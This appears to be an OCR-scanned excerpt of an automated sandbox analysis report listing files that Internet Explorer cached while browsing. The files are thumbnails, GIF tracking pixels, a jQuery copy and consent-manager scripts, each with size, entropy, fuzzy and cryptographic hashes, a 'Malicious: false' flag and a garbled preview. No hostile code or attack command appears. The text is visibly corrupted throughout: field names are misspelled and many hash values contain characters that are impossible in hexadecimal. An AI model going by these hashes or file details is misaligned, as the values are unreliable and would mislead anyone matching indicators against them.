C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

dropped

470

7.360134959630715

false

12:6v/7TIG/Kupc9GeBphmZgPEHMwY 7yWQtygnntrNKKBBN:3KKEC9GecXhmZwM9LtyGIKKBBN
B6EA6C62BAEBF35525A53599C0D6F151
AFFEFB243AAEC286D37B855FBE33C790795B1896
71CC7A3782241824ACDC2D6759E455399957E3C7C9433A1712C3947E2890A4D4
OE4E87A66CF6E01750BC34D2D1EC5B63494A7F5C4B831935DD00E1D825CDB1CFD3C3E90F29D1D4076E7F24C9C287E59BE23627D748DB05FB433A3A535F1154

false

IDATX..QKN.A....(..1a.....p...0..T.....
foHvm. L b.K.3....R.u..Z"2.$.B..L.r..H.1..MN).c.KIH.......... .9 d.$.
G..c.5.....IEND.B".

.$.n\..V.C b2......qe"T.1.1h8./....$:Y6..w}_>..P.o$.n.. X<.R.y..$p.P..c\7..
8.8@t._...1.".@C....i8Z.".AL......R...}JW.E4.|_.N....b...(AVH.......j.....s..h. .9.pl...

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCachellE\4PB7FIMT\BBPfCZL[2].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 50 x 50

dropped

2313

7.594679301225926

false
48:5Zvh21Zt5SkY331S+PuSsgSrVi7X3ZgMjkCaBn9VKg3dPnRd:vkirS333q+PagKk7X3Zgal9kMpRd
59DAB7927838DE6A39856EED1495701B

A80734C857BFF8FF159C1879A041C6EA2329A1FA
544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57
7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCFIAF780710221259D2625DB8¢

false

GIF89a2.2....7..;..?..C..lLH..<.9...8.F.7..E.@..C.@..6..9..8.J..*2.G..>..?..A.6..>.8.....A.=.B.4.B..D.=. K.=.@.<..3~B.D...,|4.2.6..J0.,.G..Fl..L1}4.R....

Y.E.>.9.5.X.A.2.P.J.J9....TA+Z...+.<.Fq.Gn.\V..;..7. O{L.E.H.@....3.3.0.M.K...#[.3i..D..>........ l...<n..;.Z.1.G..8.E..Hu..1.>..
T..a.Fs..C.8..0}....;.6..t Ft..5.Bi...x...E.....'"2"~...... [8 s @B TS Fobues > 2N s..)a.Cm...'a.0Z..7...3f.<.e....@.9.....Ds..B....\P
Nedeciis Li.= . Fo B W “gldMs KR > Ry.Nv.n..].Bl........ S..;...Dj....=...0y...... 6.J....... WV..g.5......LNETSCAPE2.0.....!...d...,....2.2......

.3..9.(.d.C WH.("D...(D....d.Y.....<.(PP.F...dL.@.&.28..$1S... *TP.....>..LIT.X..(.@a..1sgM..|.Jc(Q.*.......2..)y2.J.....W,..eW2.l...l....C.....d... zeh....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\4PB7FIMT\BBXXVfm[1].png

Process:
File Type:
Category:
Size (bytes):

C:\Program Files (x86)\Internet Explorer\iexplore.exe

PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
dropped

842
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\4PB7FIMT\BBXXVfm[1].png
Entropy (8bit):  7.712790381238881

Encrypted: false

SSDEEP: 24:03eeNY8QugsamcgusRa+4Sm81pdhTaXHir8L:0fNY8QuosS+4SmetsL

MDS5: 4F44C5854D2A321DE38DDA7580D99D2A

SHA1L: 637217CD4AB94060B945D364D6AD80BB173F41B7

SHA-256: TTE9AF4EF4CEC6BAE0181D3173577BE0488DESDB5FA71D2E5C7E05B5D5D27565

SHA-512: AC46863DDFE68156E7D76DDE08C299459B8C01CD8B2DBIDB5C3A4434D5CF34F6162556A29EBBCA401810ED5AD5FIBES7090E819DDED688EE7C36D179A1FBF
F6

Malicious: false

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJIMT\cksync[1].gif

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: GIF image data, version 87a, 1 x 1

Category: dropped

Size (bytes): 45

Entropy (8bit):  3.3268935851616335

Encrypted: false

SSDEEP: 3:M3+PQ7IRHpsO:nQ71/sO

MD5: 99CCECEAED4D575484B69DDAFIEDG6AT

SHA1L: 1E3A3B15296B585833A22D987A387AA58AA1642D

SHA-256: 832F63F4187160C195B04F1911C2E623A75E805F4B23ABBOBOBEA214B4283A43

SHA-512: AFDOB986E4EC7731248127B536E01653CE549FAC454368DF2C928540BCAEA302739CESEF37D01EDD3764C93AE38D799D7CC458AF4308D49BE93FB3637FF79E/
F

Malicious: false

Preview:
GIF87a............. L R L.;

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\4PB7FIMT\http___cdn.taboolasyndication.com_libtrc_static_thumbnails_89b2a2c406225
ac19893953e2f531377[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
Category: dropped

Size (bytes): 13222

Entropy (8bit):  7.9653696315974365

Encrypted: false

SSDEEP: 192:/8KPRpeXNmAujJwI7EF+UDHS2ZrARXFVCcllvOboPoC2Rdy4eONeowOE2Y duxs+L:/8tg5WEQ7y6gX7F6dWRd8YmsIL
MD5: C183E20924EDD1400A1A9E483DF48AFC

SHA1L: 52DAEE5SE06585C1ADA927140C981B494CEB4DDI1

SHA-256: 1042A6FC120B292AA9256DE100ECDIDECC2F72C64AC3A5D6BD8BF61C617A7560

SHA-512: 58B0239AC2F8287A340703031FDEFFEF8615EF773E6282B3F5A2ECC286339CA597C5185047CE1A2411FA48B50376F42D68B55E9D433018C62F02F90C1BF3BOCE
Malicious: false

Preview:

" $..$.6*€&*6>424>.DDL_Z_||...
L..tTXT..%.(vLL.~..DC-.FO.JCd:. #p.H.r
Y.|]."K....D.=.0:.z2%.nui......6C.:2D/..r....7RFPLB...$"m...,..D.="Db.
e.|.s>k...;..IW..1r.-%.0.<. k....7.s {S..le.kld..Lr.../." E
Lmrm.im.b........ Bu........|..{....]..0.6<.i..IJN*A.OH....x4k...CM..00".?K.......a..v3.* J.1.|.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\APB7FIMT\jquery-2.1.1.min[2].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 84249

Entropy (8bit):  5.369991369254365

Encrypted: false

SSDEEP: 1536:DPEKjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAubOR4ULvguEhjzXpa9r:oNM2Jiz60AFKP5a98HrY

MD5: 9A094379D98C6458D480AD5A51C4AA27

SHAL: 3FE9DBACAAEC99FCBA3FOE90ED66D5057DA2DEAE

SHA-256: B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204

SHA-512: 4BBB1CCB1C9712ACE14220D79A16CAD01B56A4175A0DD837A90CA4D6EC262EBFOFC20E6FALE19DB593F3D593DDDI0CFDFFE492EF17A356A1756F27F90376B
50

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\APB7FJIMT\jquery-2.1.1.min[2].js

Preview:

/*1'jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */..!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports
=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:
this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={} |=a.document,m="2.1.1",n=function(a,b){return new n.fn.ini
t(a,b)},0=/"[\s\uUFEFF\XAQ]+|[\s\uFEFF\xAQ]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"" len
gth:0,toArray:function(){return d.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a)
;return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\4PB7FJMT\otPcCenter[2].json

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

dropped

47714

5.565687858735718

false

768:4z9/3IXE9ZSqN76pW1lzZzic18+JHoQthl:4zCBceUdZzic18+5xI
8EC5B25A65A667DB4AC3872793B7ACD2
6B67117F21BOEF4BOSFE81EF482B888396BBB805
F6744A2452B9B3C019786704163CIE6B3C04F3677A7251751AEFD4E6A556B988

1EDC5702B55E20F5257B23BCFCC5728C4FDODEB194D4AADAS77EEO0AG254F3A99B6D1AEDAAACT7064841BDESEE8164578CC98F63B188C1A284E81594BCCOF20
68

false

{. "name": "otPcCenter", "html": "PGRpdiBpZD0ib25|dHJ1c3QtcGMtc2RrliBjbGFzcz0ib3RQYONIbnRIciBvdC1loaWRIIG90LWZhZGUta
W4|IGFyaWEth9kYWW9InRydWUlIHvaGU9ImRpYvaZyIgYXJpYS1sYWJIbGxIZGJSPSJdeleleaXRsZSI+PCEtLSBDbGQZZSBCdXROb24gLSO+PGde
iBjbGFzcz0ib3QtcGMtaGVhZGVy!lj48ISO0tIExvZ28gVGFnICOtPjxkaXYgY 2xhc3MIIm9OLXBjLWxvZ28ilHIvbGUImItZylgY XJpY S1sYWJIbD0iQ29tcGFueSBMb2d
VvIj48L2Rpdj48YnV0OdGOulGIkPSJjbG9zZS1wYylidG4taGFuZGxIcilgY 2xhc3MIIM9IOLWNsh3NILWIjb24iIGFyaWEtbGFiZWw9IkNsb3NI1j48L2J1dHRvbj48L2Rpdj48ISOtIEN
sb3NIIEJ1dHRVbIAtLT48ZGI2IGIKPSJIvdC1wYy1jb250ZW50I1iBjbGFzcz0ib3QtcGMtc2Nyb2xsY mFylj48aDMgawQ9Im90LXBjLXRpdGxIIj5Zb3VylIFByaXZhY3k8L
2gzPjxkaXYgawQ9Im90LXBjLWRIc2MiPjwvZGI2PjxidXR0b24gaWQ9ImFjY2VwdC1yZWNvbW1lbmRIZC1lidG4taGFuZGxIcil+QWxsh3cgYWxsPC9idXR0b24+PHNIY3R
pb24gY2xhc3M9IIm90LXNkaylyb3cgh3QtY2FOLWdycCl+PGgzIGIkPSJIvdC1jYXRIZ29ye S10aXRsZSI+TWFuYWdIIENVb2tpZSBQcmVmZXJlbmNIczwvaDM+PGRpdiBjb
GFzcz0ib3QtcGxpLWhkcil+PHNwYW4gY 2xhc3MIIm9OLWxpLXRpdGxIlj5Db25z2ZW50PC9

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\4PB7FIMT\otTCF-ie[1].js

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode text, with very long lines, with CRLF line terminators

dropped

102879

5.311489377663803

false
768:ONKWTOmM7r8N1qpPVsjvB624Yj3RCjnugKtLEdT8XxJORONTMC5GkkJI0XcIGK58:8kunecpuj5QRCjnrKxJgOTMC5ZW8
52F29FAC6C1D2BOBACBFESDOAA2F7ALS

D66C777DA4B6D1FEE86180B2B45A3954AE7EOAED
E497A9E7A9620236A9A67F77D2CDA1CC9615F508A392ECCA53F63D2C8283DCOE

DF33C49B063AEFD719B47F9335A4A7CE38FA391B2ADF5ACFDOC3FE891ASDOADDF1C3295E6FF44EEO8E729F96E0DS526FFD773DC272E57C3B247696B79EE116¢
BA

false

Ifunction(){"use strict";var c="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function e(e){return e&&e.___
esModule&&Obiject.prototype.hasOwnProperty.call(e, "default”) ?e.default:e}function t(e,t){return e(t={exports:{}},t.exports),t.exports}function n(e){return e&&e.Math==Math&
&elfunction p(e){try{return!le()}catch(e){return!0}}function E(e,t){return{fenumerable:!(1&e),configurable:!(2&e),writable:!(4&e),value:t}}function o(e){return w.call(e).slice(8,-
1)}function u(e){if(null==e)throw TypeError("Can't call method on “+e);return e}function I(e){return I(u(e))}unction f(e){return“object"==typeof e?nulll==e:"function"==typeof
e}function i(e,t)fif('f(e))return e;var n,r;if(t&&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;if("function"==typeof(n=e.valueOf)&&!f(r=n.call(e)))return r;if('t&
&"function"==typeof(n=e.toString)&&!f(r=n.call(e)))return r;throw TypeError("Can't convert object to primitive value")}function y(e,t){retur

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lIE\4PB7FIMT\px[1].gif

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

dropped

43

3.0950611313667666

false

3:CUMIIRPQEsJ9pse:GI3QEsJLse

AD4BOF606E0F8465BC4C4C170B37E1A3
50B30FD5F87C85FESCBA2635CB83316CA71250D7
CF4724B2F736ED1AOAE6BC28F1EAD963D9CD2C1FD87B6EF32E7799FC1C5C8BDA

EBFEOCODF4BCC167D5CB6EBDD379F9083DF62BEF63A23818E1C6ADFOF64B65467EA58B7CD4D03CFOALB1A2B07FB7B969BF35F25F1F8538CC65CF3EEBDFSAI
910

false

GIF89a............. L R L.;
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\4PB7FJIMT\tag[1].js

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 10157

Entropy (8bit): 5.433955043303664

Encrypted: false

SSDEEP: 192:4EamzdxOBoOBpxYzKhp5foeeXwhJTvIXQuzSgH3wgiKGWdrBpOlztlomIRokr:4EamR70rxY SLQdiMoH3wgxGWdrz4+
MDS5: DDFF3756F9EFD3A46CF3325875D813A1

SHA1L: 05D238659959B28B786CCE43E9ES55A728E69428E

SHA-256: E80C669818773959643790269ED9448F71BD45D27D61FAFD73BC44COF40BAACD

SHA-512: 7E6D325A705718D0B4060BB4A2FACC538B3812B5767CBEFIF15F787C20EFB492F9E72F8F4B215A3C4D4F684236F49D80C37597E2C13F9B482C3CB441B6CAS74!
Malicious: false

Preview:

Ifunction(){"use strict";function r(e,i,c,){return new(c=c||Promise)(function(n,t){function o(e){try{r(l.next(e))}catch(e){t(e)}}function a(e){try{r(l.throw(e))}catch(e){t(e)}}function
r(e){var t;e.done?n(e.value):((t=e.value)instanceof c?t:new c(function(e){e(t)})).then(o,a)}r((I=l.apply(e.il|[])).next())})}function i(n,0){var a,r,i,e,c={label:0,sent:function(){if(1
&i[0])throw i[1];return i[1]},trys:[],ops:[]};return e={next:t(0),throw:t(1),return:t(2)},"function"==typeof Symbol&&(e[Symbol.iterator]=function(){return this}),e;function t(t){return
function(e){return function(t){if(a)throw new TypeError("Generator is already executing.");for(;c;)try{if(a=1,r&&(i=2&t[0] ?r.return:t[0] ?r.throw||((i=r.return)&&i.call(r),0):r
.next)&&!(i=i.call(r,t[1])).done)return i;switch(r=0,i&&(t=[2&t[0],i.value]),t[0]){case O:case l:i=t;break;case 4:return c.label++ {value:t[1],done:!1};case 5:c.label++,r=t[1],t=[0
];continue;case 7:t=c.ops.pop(),c.trys.pop();continue;default:if(!(i=0<(i=c.trys).length&&

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAOSsrG[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category: dropped

Size (bytes): 2086

Entropy (8bit): 7.716087053706631

Encrypted: false

SSDEEP: 48:QfAUETAFMW5XFIQKFV7mz8sv12mI0flcHY5QTWW:Qf7Eomw1T3Kd2mlOflLyh

MD5: D0480109B4C76CA83A0671D502EDIEBA

SHA1L: 7D501534A8C917BBEEABDE294A63A3EF91408ED8S

SHA-256: 94E51F6231DC440AFE8SBE3FIE723ACA00153EF60986A105B516BC458FCF92E00

SHA-512: 7417F082A6D1ACBB6EA53624C096D6E29A6226AA176A1601C38849E1DA22B23A404DD7F64D0DB57B29E97C954865855A588A0B320E60986903DF105DC462673C
Malicious: false

Preview:

s..9..d..F88Y7-.4..
m{}7[;.>LV A XY

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAOZtDm[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 13943

Entropy (8bit):  7.955049347890374

Encrypted: false

SSDEEP: 384:bKDYtKwUqdtoRIXDXTE9+2LgNSO8jCsZNk2j8I8LAI2vnwym:bKDVVUM/DXTEc2cAZUGAI2Pm

MD5: FC7AC7DAOBB93A433BDD4D11FD899827

SHA1L: D76650D8A1983D0D93663C432B7FEBF4F1A6CB0O0

SHA-256: FAEO6EO0D2A9822FF6E92F0522A60282A3AC9AEAG5E61D7998E5AEEB540912B3C

SHA-512: 138819A5A76E6B48366B7A83F9790E6E2FD5EES648B1262D8A864CC08B17E150D818D820F955A54515FEB67E74656C9F8165B620A25B869F85D3769FAEL1BECA
Malicious: false

Preview:

q.)2jz-..s.F.<.,.8.1.db..[.L.c.u..
.D...w#.N.;OB#KMLc.0....e....Q+5..m;2M5....... X.

C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAP9No038[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 16386

Entropy (8bit): 7.939385677941581
Encrypted: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAP9No08[1].jpg

SSDEEP: 384:Nv45nQDTBARNXxwwffJHDdL/eWGZN3fZDtSvWgBg:NoQ/2RxwML/f+35twFBg

MDS5: EDC362FA51B5C80A665339845B24FEA8

SHA1L: 41C4494EAD75A81245E46BF193427DECF8D1F934

SHA-256: 87BEC2FB7E37F5FD6D5B735F8C405FA3F387796B51698740404DC29FCA8942E8

SHA-512: E998030B7DA6AEAE10CA98EE186B75B33721DCC506B4890CE1F26D16C5F05434DA58D7FAB25F1FD75F1C3AEF40EBC414BAAOD1BE345719416998BF94699A50
8

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPaEWW([1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 42771

Entropy (8bit):  7.967102372599011

Encrypted: false

SSDEEP: 768:IN7LQza0SN1jmd4wRv+OceKELqQOTtwmWNFEIWkLusBgyzwsbqj13ZU:IN7Lga7sRvtp4aXN8fWtqZU

MD5: FD461D2A035C9C6A8FBF5423C17C07B9

SHA1L: D393F522A18164EC2E60EC105E11260661987E4D

SHA-256: BAB8BCDEE9FIFE8875265D6C04439AA449BBAC5350956A0E960DCF29E761CD55

SHA-512: B68D66763C60AB99D8509FDOE7DEIEABAD6FC29D62321D8155EAO0C3AAFEABA86B56A49D0F513439C7ACOC81EB3508E8836B3DAF84D17D64DE3795C9688733L
4

Malicious: false

Preview:
...... JFIF...0 s 2 )100)-,3:0>36F7,-@WAFLNRSR2>ZaZP  JQRO........&..&05-5000000000000000000000000000000000000

()*56789 CDEFGHIJSTUVWXY Zcdefghijstuvwxyz..
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q.Q.]*;. k.. LR...HZ.R.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPaEWW([2].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 20798

Entropy (8bit):  7.964715717563968

Encrypted: false

SSDEEP: 384:Nm2/WgL4q8uvXNCALWmMFQGPXTEWMXWtJIVifOL5BYJfW7J1IbKf:NSpg88XNCS3+C8eQfODeSISh6

MD5: EFE2A9DOECEBA34F5D1DF7BC19C3C9FE

SHA1L: 3COF91FBCDF17F62C91C4496401457E38EDC4063

SHA-256: 6D85B06DA4D130C5EEF876C825EB7BC3D14859831E1114D1E8271D91F1B6270E

SHA-512: 716567A767ADE79CA519D328D32C153A913DB4930447B95806F9FCC6796F43A7DBFE612EB20310CEA67B2C48A964517F4400AB97169D358FCAAAB37F7BCOATE
Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAPaEgA[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 14953

Entropy (8bit): 7.928641446793491

Encrypted: false

SSDEEP: 192:Q28JghZ6/6rveTi0zgglcyv006eSJAH1DbAHBEr8s3fpZZpOVzfTR/wl4dgiHNTE:N8GIlyg9pSOam8y3HQbRoymwP81/7HZOG
MD5: 8A2CECB76C9A5E119C47B692B35B6EAL

SHAL: F12D9A9DB2FOE50770741D6B6C2C789C7F7016F9

SHA-256: A12C7233217EDE20B6226A14D64A752005750956639080517A3BA1E04DBB8F3D
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAPaEgA[1].jpg

SHA-512: 4426BCI9AF3037BEABE688BD385F12F1C7D654CA89854729F2D5377F879FBD6526F321FA51C75EBD2A965C6ACICCE7BD31E17363A766A0AC1ICA2F8F11DASETA
D

Malicious: false

Preview:

. LML=(]2 R
..Dqu...2>X.)..{.P.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPaF44[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 9406

Entropy (8bit):  7.9148635830301295

Encrypted: false

SSDEEP: 192:Q06QQNUIREN3chMBRAX+9pXCKyE9Ju46CCdV7B5QDJIJ2Ai40w/G1Pv:bgcC3g2KHXCKyaGHXaJJwswexv

MDS5: 999488509FD4CE145C7C44B0D12C2BF2

SHA1L: 2D5772AE1C7446B522694037F39DD735A69B0F25

SHA-256: 3419517F9A50CEE5S6651084A65A03F77275846D3C0EC34C827C4752F1EFAACCT

SHA-512: D464C7B3155ACE243AB2B35D9A7A6566E5FBIC4655046F2D9AB08FA06A212BBFC47E7DABA26173F0D468C92D7C571939E93162E4E8DF1C4DFDIFFA9AD1D53E
08

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPaLRV[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category: dropped

Size (bytes): 29167

Entropy (8bit): 7.921884697743823

Encrypted: false

SSDEEP: 768:1kxG+b1rwbw+wPaRm5RVatvHjQ1nYFXFrSVEET:IkxG+blgOPaWC81nYXF1ET

MD5: A60C016C25D8FE136E3E2520BE7CE1DB

SHA1L: 30C1A8105D66A5C2C495E5691AC99207C2962C1D

SHA-256: EF20D6527BD47D403590E703B67B2D1CCB167019EDEESOFID8B413F8A054EE43

SHA-512: 4921AC55C753AB948E84245A21D1A5EDA2064F1BDD32E9B2AE64A2ECI9101463CA0699D7C897A3D2D6FA1951A9926C2D468547352DF0B5533AA308196BF94962(
Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPaajT[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3

Category: dropped

Size (bytes): 6298

Entropy (8bit):  7.78554989422159

Encrypted: false

SSDEEP: 192:Qo1TntGjGj087LAg4cPVOwgMjptuojyzOpoa8Ua:h9nQ6j0iAaPTjrOOpoa8Ua

MD5: 22119BF33B14E9CC6518E56BAAFC6547

SHAL: F46722C3A311C6BD051E07971BA27AC56B9696C7

SHA-256: D8584788A0835C91550316808718871F291D8C4F6BC2110496345B06483A61CC

SHA-512: 1DC5539AD8FFOFO08EEA3B4526EFA4D5BD1026E457B167FCD57286910A16719ADAFFE19BF26DBF825413068AC935BC9871CDE2D6C7D8CAF8D9073B1C695EDGE
DE

Malicious: false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAPaajT[1].jpg

Preview:
...... JFIF. 0 e v )100)-,3:13>36F7,-@WAFLNRSR2>ZaZP JQRO........&..&05-5000000000000000000000000000000000000
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPan0r[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category: dropped

Size (bytes): 8790

Entropy (8bit):  7.935122036621206

Encrypted: false

SSDEEP: 192:Q02jydQK1Xv4yx4hNLMwjcTLNwOjcw7YxmmbTVZIVBIXFIFqYZVqu8:h20QKFAYCMwWW,TYx1h7CIMYZVqz

MDS5: 2C372208990BAD62465CC7DB923775CA

SHA1L: D48457BC300AAFD1E04F7D4F4266EAA9B2608B72

SHA-256: F02323AB8AC3F6534874B7E734FE31A7492B4B6F85BC3034FDA4062CA916D882

SHA-512: B9350951997FE902A529515907C353DCC49BB1BD494939EA4114DAD775D334778ECE953EA1B1C176B30266DD45D9BC774FF2C20C15EEEC6EC66C43FBI49AF4
8

Malicious: false

Preview:
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\B87Z87FM\AAPanHnN[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3

Category: dropped

Size (bytes): 2426

Entropy (8bit): 7.803861085826984

Encrypted: false

SSDEEP: 48:QfAUETAOdIAYtyAXxwEZTQCPCxzxXD/1wlg+TUirY7LTsVau6DKc:Qf7EIdI6xwEzZTHOJ3ZTU7n2au62c

MD5: 928467E96565D727AB444F51AD20D01F

SHA1L: 9F5C7D451FD5773BB26B5EA3090498AB0825B9CA

SHA-256: FCAA10BB82709DF0559491F77A1B3B9D908409D06AA52AE1890055B33C89AB71

SHA-512: 1ACF9300BD739F9E1D7371376F65BE3AGBASOEA5071B962ADB8A40BCAFS8E3EAFF2FEEGDI93DFCF3FO5EC936175A82669F072FBC4C6461597017DF964AEC816(
6

Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAParbZ[1].jpg

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category: dropped

Size (bytes): 17041

Entropy (8bit):  7.867069630214809

Encrypted: false

SSDEEP: 384:NAaAWVVAOJIBYbO2y3IzZfj4jmgAqtReM7TsU+Rf4HpD3hUNe8T:NidjBYa2s4tjACqsfRAIpDUNS

MD5: AC291D55B17D4022FA50ABB12AFA2E04

SHAL: 7CFB8326444F6AC631453D7AE284BDF20DCB6165

SHA-256: 5095E33A48FB3E567F60797D20FCESE6107C2964D4497817ADBCA37E8B3AC53F

SHA-512: 1DDEBO0622E99E79DAFD7FDDD4CES5D994E558347E32345B088A66E41A73A16A6DB60442885E7A3DF473ED585A07AFCC578A8C2090EE021D019905A3843B97F0!
Malicious: false

Preview:
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\B87Z87FM\AAPatbE[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
dropped

14836

7.385116017861641

false

192:Qnuflh2EzAfTSRtavnTFYBW/3epwN6qGP4j/+CXDNuGGd96LujZe4V|jJZ18k7G5:lufmEzAgKFYg/3epwiAX5/G8wC5
34452E3D2D8D9CB813B632E5C46BA44E

7E7FCDAFAD1C28EC7A20BEE260916CE833C9AEG0
397372C30640074DB04805A098E40C733774E754D676638DF60D856CEB7F3D55
